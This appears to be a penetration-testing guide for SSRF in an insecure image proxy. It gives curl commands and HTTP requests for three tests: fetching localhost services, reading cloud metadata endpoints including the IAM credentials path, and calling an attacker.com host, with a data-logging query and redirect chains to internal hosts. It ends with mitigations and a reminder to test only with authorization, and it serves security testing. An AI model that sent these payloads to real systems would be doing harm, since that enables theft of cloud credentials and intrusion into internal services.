implementation details for testing insecure image proxy

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Below, I’ll elaborate on the implementation details for testing the three specified vulnerabilities related to an insecure image proxy: Internal URL Testing, SSRF via Proxy, and Malicious URL. Each section provides step-by-step instructions, including tools, payloads, and expected outcomes, to help identify and exploit these Server-Side Request Forgery (SSRF) vulnerabilities. The focus is on practical implementation, assuming a target application with an image proxy endpoint that fetches and processes URLs provided by users.

Insecure Image Proxy SSRF Testing Guide

This guide provides detailed implementation steps for testing an insecure image proxy for Server-Side Request Forgery (SSRF) vulnerabilities. The focus is on three specific tests: Internal URL Testing, SSRF via Proxy, and Malicious URL. Each section includes prerequisites, tools, payloads, and expected outcomes to identify vulnerabilities effectively.

Prerequisites

  • Tools: Burp Suite (or similar proxy tool), cURL, a browser with developer tools, and a controlled server (e.g., a VPS or ngrok for external URL testing).
  • Setup: Identify the image proxy endpoint (e.g., https://example.com/image?url= or POST /api/image/fetch). This is typically a URL or API that accepts an image URL and fetches its content.
  • Permissions: Ensure you have permission to test the target application (e.g., via a bug bounty program or explicit authorization).
  • Controlled Server: For the Malicious URL test, set up a server to log incoming requests (e.g., using a simple Python HTTP server or a service like webhook.site).

1. Internal URL Testing

Objective: Test if the image proxy allows fetching resources from internal network addresses, such as http://localhost:8080, which could expose sensitive internal services.

Implementation Steps

  1. Identify the Proxy Endpoint:
    • Locate the image proxy endpoint by inspecting the application’s frontend (e.g., JavaScript fetching images) or API documentation. Common formats include:
      • GET /image?url=<target_url>
      • POST /api/image/fetch with a JSON payload like {"url": "<target_url>"}.
    • Example: Assume the endpoint is https://example.com/image?url=<target_url>.
  2. Craft the Payload:
    • Construct a URL targeting a local service, such as http://localhost:8080. This tests if the proxy can access internal services running on the server.
    • URL-encoded payload (if needed): http%3A%2F%2Flocalhost%3A8080.
    • If the endpoint uses a POST request, prepare a JSON payload: 
      {"url": "http://localhost:8080"}
  3. Send the Request:
    • Using Burp Suite:
      • Configure your browser to proxy traffic through Burp Suite.
      • Navigate to the image proxy feature (e.g., an image upload or preview page) or manually send a request via Burp Repeater.
      • Example GET request: 
        GET /image?url=http://localhost:8080 HTTP/1.1
Host: example.com
      • Example POST request: 
        POST /api/image/fetch HTTP/1.1
Host: example.com
Content-Type: application/json

{"url": "http://localhost:8080"}
    • Using cURL: 
      curl -X GET "https://example.com/image?url=http://localhost:8080"

      or

      curl -X POST -H "Content-Type: application/json" -d '{"url":"http://localhost:8080"}' https://example.com/api/image/fetch
  4. Analyze the Response:
    • Success Case: If the response contains data from the internal service (e.g., a webpage, API response, or error message specific to localhost:8080), the proxy is vulnerable to SSRF. For example:
      • Response body contains HTML or JSON from an internal dashboard running on port 8080.
      • Response headers indicate a connection to an internal service (e.g., Server: InternalApp).
    • Failure Case: If the response is an error like “Invalid URL” or “Connection refused,” the proxy may block internal requests, but further testing is needed (e.g., try other ports like 8081, 80, or 443).
  5. Additional Tests:
    • Test other local addresses (e.g., http://127.0.0.1:8080, http://[::1]:8080 for IPv6).
    • Try common internal ports (e.g., 80, 443, 8000, 8081, 9200 for Elasticsearch).
    • If the proxy returns an image, check its metadata (e.g., EXIF) for signs of internal data leakage.

Expected Outcome

  • Vulnerable: The proxy fetches and returns content from http://localhost:8080, such as an internal admin panel or service response. This indicates the server can access internal network resources, potentially exposing sensitive data.
  • Not Vulnerable: The proxy rejects the request (e.g., HTTP 403, 400, or timeout) or returns no internal data, suggesting internal address filtering.

Risks

  • Exposure of internal services (e.g., admin panels, databases).
  • Access to sensitive data like internal API responses or configuration files.

2. SSRF via Proxy (Cloud Metadata Endpoint)

Objective: Test if the image proxy can access cloud provider metadata endpoints (e.g., AWS’s http://169.254.169.254/latest/meta-data/), which could leak sensitive instance data like IAM credentials.

Implementation Steps

  1. Understand the Target Environment:
    • Research if the application runs on a cloud provider (e.g., AWS, Azure, GCP). The AWS metadata endpoint (http://169.254.169.254/latest/meta-data/) is a common SSRF target.
    • Confirm the proxy endpoint (e.g., https://example.com/image?url= or POST /api/image/fetch).
  2. Craft the Payload:
    • Use the AWS metadata endpoint: http://169.254.169.254/latest/meta-data/.
    • URL-encoded payload: http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F.
    • For POST requests, prepare: 
      {"url": "http://169.254.169.254/latest/meta-data/"}
    • Optionally, target specific metadata like IAM credentials:
      • http://169.254.169.254/latest/meta-data/iam/security-credentials/.
  3. Send the Request:
    • Using Burp Suite:
      • Intercept a request to the image proxy or use Burp Repeater.
      • Example GET request: 
        GET /image?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1
Host: example.com
      • Example POST request: 
        POST /api/image/fetch HTTP/1.1
Host: example.com
Content-Type: application/json

{"url": "http://169.254.169.254/latest/meta-data/"}
    • Using cURL: 
      curl -X GET "https://example.com/image?url=http://169.254.169.254/latest/meta-data/"

      or

      curl -X POST -H "Content-Type: application/json" -d '{"url":"http://169.254.169.254/latest/meta-data/"}' https://example.com/api/image/fetch
  4. Analyze the Response:
    • Success Case: If the response contains cloud metadata (e.g., instance ID, IAM roles, or security credentials), the proxy is vulnerable. Example response: 
      instance-id
ami-id
iam/security-credentials/role-name
      • If you target /iam/security-credentials/role-name, you might get: 
        {
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "abcd...",
  "Token": "xyz..."
}
    • Failure Case: If the response is an error (e.g., “Connection timed out” or “Invalid URL”), the proxy may block metadata endpoints, but test other cloud providers (e.g., Azure: http://169.254.169.254/metadata/instance, GCP: http://metadata.google.internal/computeMetadata/v1/).
  5. Additional Tests:
    • Test deeper metadata paths (e.g., http://169.254.169.254/latest/user-data for user scripts).
    • Try alternative cloud metadata endpoints:
      • Azure: http://169.254.169.254/metadata/instance?api-version=2021-02-01
      • GCP: http://metadata.google.internal/computeMetadata/v1/?recursive=true (with Metadata-Flavor: Google header).
    • Test for timeouts or delays, which may indicate blind SSRF (use a tool like time with cURL to measure response time).

Expected Outcome

  • Vulnerable: The proxy returns cloud metadata, such as instance details or IAM credentials, indicating SSRF. This could allow an attacker to escalate privileges or access sensitive cloud resources.
  • Not Vulnerable: The proxy rejects the request or returns no metadata, suggesting filtering for known metadata endpoints.

Risks

  • Leaked IAM credentials can lead to full cloud account compromise.
  • Exposure of instance metadata (e.g., user-data scripts) may reveal sensitive configurations.

3. Malicious URL

Objective: Test if the image proxy fetches arbitrary external URLs without validation, which could be used to confirm SSRF or interact with attacker-controlled servers.

Implementation Steps

  1. Set Up a Controlled Server:
    • Create a simple HTTP server to log incoming requests:
      • Python Example: 
        python3 -m http.server 80
        • This serves files from the current directory and logs requests to the console.
    • Alternatively, use a service like webhook.site or ngrok to expose a public URL (e.g., http://attacker.com/malicious.jpg).
    • Ensure the server responds with a valid image (e.g., a JPEG file) to mimic a legitimate request, or log all request details (headers, IP, etc.).
  2. Craft the Payload:
    • Use your controlled server’s URL: http://attacker.com/malicious.jpg.
    • URL-encoded payload: http%3A%2F%2Fattacker.com%2Fmalicious.jpg.
    • For POST requests: 
      {"url": "http://attacker.com/malicious.jpg"}
  3. Send the Request:
    • Using Burp Suite:
      • Intercept or craft a request to the image proxy.
      • Example GET request: 
        GET /image?url=http://attacker.com/malicious.jpg HTTP/1.1
Host: example.com
      • Example POST request: 
        POST /api/image/fetch HTTP/1.1
Host: example.com
Content-Type: application/json

{"url": "http://attacker.com/malicious.jpg"}
    • Using cURL: 
      curl -X GET "https://example.com/image?url=http://attacker.com/malicious.jpg"

      or

      curl -X POST -H "Content-Type: application/json" -d '{"url":"http://attacker.com/malicious.jpg"}' https://example.com/api/image/fetch
  4. Monitor the Controlled Server:
    • Check the server logs for incoming requests from the target server’s IP.
    • Example log from Python server: 
      192.168.1.100 - - [26/Jun/2025 10:34:12] "GET /malicious.jpg HTTP/1.1" 200 -
    • If using webhook.site, check the dashboard for request details (e.g., headers, user-agent).
  5. Analyze the Response:
    • Success Case: If the proxy fetches the file and returns it (or your server logs a request), it confirms SSRF. For example:
      • The proxy returns the content of malicious.jpg.
      • Your server logs a GET request from the target server.
    • Failure Case: If no request reaches your server or the proxy returns an error (e.g., “Invalid URL”), it may validate URLs, but test with variations (e.g., HTTPS, subdomains like sub.attacker.com).
  6. Additional Tests:
    • Test with different file types (e.g., http://attacker.com/evil.php) to check for execution or MIME-type issues.
    • Use a URL with query parameters (e.g., http://attacker.com/log?data=test) to log additional data.
    • Try redirect chains (e.g., http://attacker.com/redirect?to=http://internal.com) to test if the proxy follows redirects to internal resources.

Expected Outcome

  • Vulnerable: The proxy sends a request to your server, confirming it fetches arbitrary external URLs without validation. This could be used to interact with internal or external systems.
  • Not Vulnerable: No request reaches your server, or the proxy rejects the URL, indicating validation (e.g., allowlist of domains).

Risks

  • Attackers can use the proxy to send requests to arbitrary servers, potentially bypassing firewall rules.
  • Combined with internal URL access, this could lead to data exfiltration or interaction with internal services.

Mitigation Recommendations

  • Validate URLs: Implement an allowlist for permitted domains and reject internal IPs (e.g., 127.0.0.1, 169.254.169.254).
  • Restrict Protocols: Allow only https and block http, file, or other protocols.
  • Rate Limiting: Enforce rate limits on proxy requests to prevent abuse.
  • Disable Redirects: Prevent the proxy from following HTTP redirects to untrusted domains.
  • Cloud Metadata Protection: Block access to cloud metadata endpoints (e.g., 169.254.169.254) at the network or application level.

Notes

  • Always test ethically and within the scope of authorized testing.
  • For cloud metadata SSRF, report findings immediately, as they can lead to severe compromise.
  • If the proxy returns images, use tools like exiftool to inspect metadata for additional leaks.
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